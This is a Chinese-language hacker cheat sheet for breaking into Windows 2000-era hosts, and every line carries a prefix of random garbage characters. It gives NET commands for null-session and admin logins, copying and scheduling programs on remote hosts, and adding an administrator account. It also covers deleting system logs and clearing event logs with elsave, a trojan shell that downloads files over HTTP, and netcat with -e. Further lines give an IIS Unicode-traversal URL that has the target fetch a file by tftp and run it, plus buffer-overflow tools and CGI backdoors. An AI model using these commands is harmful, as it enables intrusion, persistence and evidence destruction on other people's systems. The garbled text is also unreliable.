网管和黑客都必须知道的命令
b i^ h &H 常用的几条NET命令：
j]7|5mC78 9 tZ)#@\ （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
9 x WC<i KDwz!:ye （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
ht c& !m $ q*kD#;mh （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
-1Y9-nn[m gyH'92ck （查看远程主机时间） net time \\IP地址
/x.TF'Z* Q,Tet&in ) （定时启动某个程序） at \\IP地址 02:18 readme.exe
]2G5ng' @ <% eY>E （查看共享） net view \\IP地址
`B+% W yu"Ii- 9z （查看netbios工作组列表） nbtstat -A IP地址
2}j2B h c ={' "ATX(U （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
~XGO^P"? a2W}Wb+ （这两条把自己增加到管理员组）： net user 用户名 密码 /add
h"VQFqQy Tk s;,C net localgroup Administrators 用户名 /add
{9TWPB /> "cjZ6^Hum （断开连接） net use \\IP地址\ipc$ /delete
Mr'}I X5 M ,V+bt 扫尾：
BqZ^ I eC$ #QJ
mAA del C:\winnt\system32\logfiles\*.*
l n.kEhQ3B 8D]:>[ |E del C:\winnt\ssytem32\config\*.evt
n+@}8;oeP g+/%r91hZ del C:\winnt\system32\dtclog\*.*
!-
f>*| @ lJ]r %YlF del C:\winnt\system32\*.log
!f_GR P j' P# 2&?.d\ del C:\winnt\system32\*.txt
2=ZR}8}9Q: Z+ubc"MVb del C:\winnt\*.txt
Cus=UzL KtJE del C:\winnt\*.log
ZWMX!>o< WrbDB-uM 一、netsvc.exe
J#Fe" }]vj"!?a 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
}@yvw *c +C7
1".i- netsvc /list \\IP地址
7= XQgbY/ l |`FW netsvc schedule \\IP地址 /query
XuJwZN!( J#*Uf>5NY netsvc \\IP地址 schedule /start
lEi,duS) oTtmn,
T 二、OpenTelnet.exe
vl$! To9R" > 7!aZO 远程启动主机的Telnet服务，并绑定端口到7878，例如：
_dqjRhu _5a]pc$\Y] OpenTelnet \\IP地址 用户名 密码 1 7878
YVVX7hB 7ka^y k@Q 然后就可以telnet到主机的7878端口，进入DOS方式下：
OXDlwbwL ))c;DJc telnet IP地址 7878
lp[3z& u c?)
pn9 三、winshell.exe
6 A M,1 l^xkXj 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
qGkrG38K ~ C5iyXR p Path （查看winshell主程序的路径信息）
$gD p-7 kN 9S;o@ ) b reBoot （重新启动机器）
X@ +:O-$ &n<jpMB d shutDown （关闭机器）
|Ix 6D x$CpUy{6 s Shell （执行后你就会看到可爱的“C:\>”）
oT
8
Td[w<m+p<P x eXit （退出本次登录会话，此命令并不终止winshell的运行）
Ga f/0/| 0 w \X CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
DjOFfD\MF B0=:A 四、3389登陆器，GUI方式登录远程主机的
2a.NWJS wI>JOV7 五、elsave.exe
L:Y sAv 1 hZM) ) 事件日志清除工具
y:4Sw#M%( ZJ"*A+IJx[ elsave -s \\IP地址 -l "application" -C
fLI@;*hL0 ;KQ'/n II elsave -s \\IP地址 -l "system" -C
2BH>TmS a2/r$Tgm elsave -s \\IP地址 -l "security" -C
9?D7"P+ s
cR-|GuZ 执行后成功清除应用程序日志，系统日志，安全日志
X1<)B]y Y'f I4 六、hbulot.exe
+lJuF/sS8m 37p0*%a": 开启win2kserver和winxp的3389服务
#BS]wj2# z+" :,# hbulot [/r]
}# !o^B8 v ;MI*!E 使用/r表示安装完成后自动重起目标使设置生效。
-Kg@Sj/U}R 'lC"wP&$ 七、nc.exe(netcat.exe)
'5ky< XyS#6D 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
u4VQx,, lk.Q6saI1 想要连接到某处: nc [-options] hostname port[s] [ports] ...
F/j=rs,*|D zQ{ Q>"- 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
?]fBds= 7P/j\frW 参数:
IX7d[nm39 Cc z: NpK+ -e prog 程序重定向，一旦连接，就执行 [危险!!]
qjR;c&
q R 8e>;E -g gateway source-routing hop point[s], up to 8
8g>jz
8 >o .u, -G num source-routing pointer: 4, 8, 12, ...
W<!q >8Xn? BCUw"R# -h 帮助信息
RB/[(4
(i *1M -i secs 延时的间隔
?[!.TU?4N s ^C*uP;R -l 监听模式，用于入站连接
`m2F.^qrr DDAqg x -n 指定数字的IP地址，不能用hostname
pMt]wyKr ([f6\Pw\ < -o file 记录16进制的传输
x?CjRvT $ uzp !Y&C -p port 本地端口号
F!]UaE mV ]?``*{Zqy -r 任意指定本地及远程端口
;k
b^mJE h(/|` -s addr 本地源地址
] (MXP,R 7h&xfrSrD -u UDP模式
twgU ru
dUO~dV1 -v 详细输出——用两个-v可得到更详细的内容
EzNmsbtZ( hNx`=D9[7 -w secs timeout的时间
yr sP'th _9n.ir5YX -z 将输入输出关掉——用于扫描时
u x:,io 八、TFTPD32.EXE
S<p
"k] sK?[ 1BI 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
?rBj{]= 8(3vNuyP http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
1&jX~' 44%::Oh 然后可以直接令文件运行：
{g/\ 5Z\b U7P A % http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
)%^ oR5W 4D58cR} 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
~-M7 Ch;EnN< 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
gEi" m5po q,:\i+>K* 一、一 Xscan命令行运行参数说明：
9,y&?GLP ?R,^pr W{ 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
fd+kr# {ReAl_C m 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
|AFF*]e S )3)L xscan -file <主机列表文件名> <检测项目> [其他选项]
mnil1*-c0 W;KHLHp- 其中<检测项目> 含义如下:
$wN'mY :eIB K -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
!5A
nr W{-N,?z -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
f2{4Y ) }WCz*v1Wq -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
2o\\qEY g up:e0d i{ -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
o.Cj+`0} 5 .mok.f<G_m -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
m%Ef]({I 2&tGJq-E [其他选项] 含义如下:
u |QfCwQ 6eS#L2 1* -v: 显示详细扫描进度
:=i0$k<E/ /au\OBUge -p: 跳过Ping不通的主机
cOUO_xp( ~(%G; fZ?x -o: 跳过没有检测到开放端口的主机
pM#:OlqC m7RWu I, -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
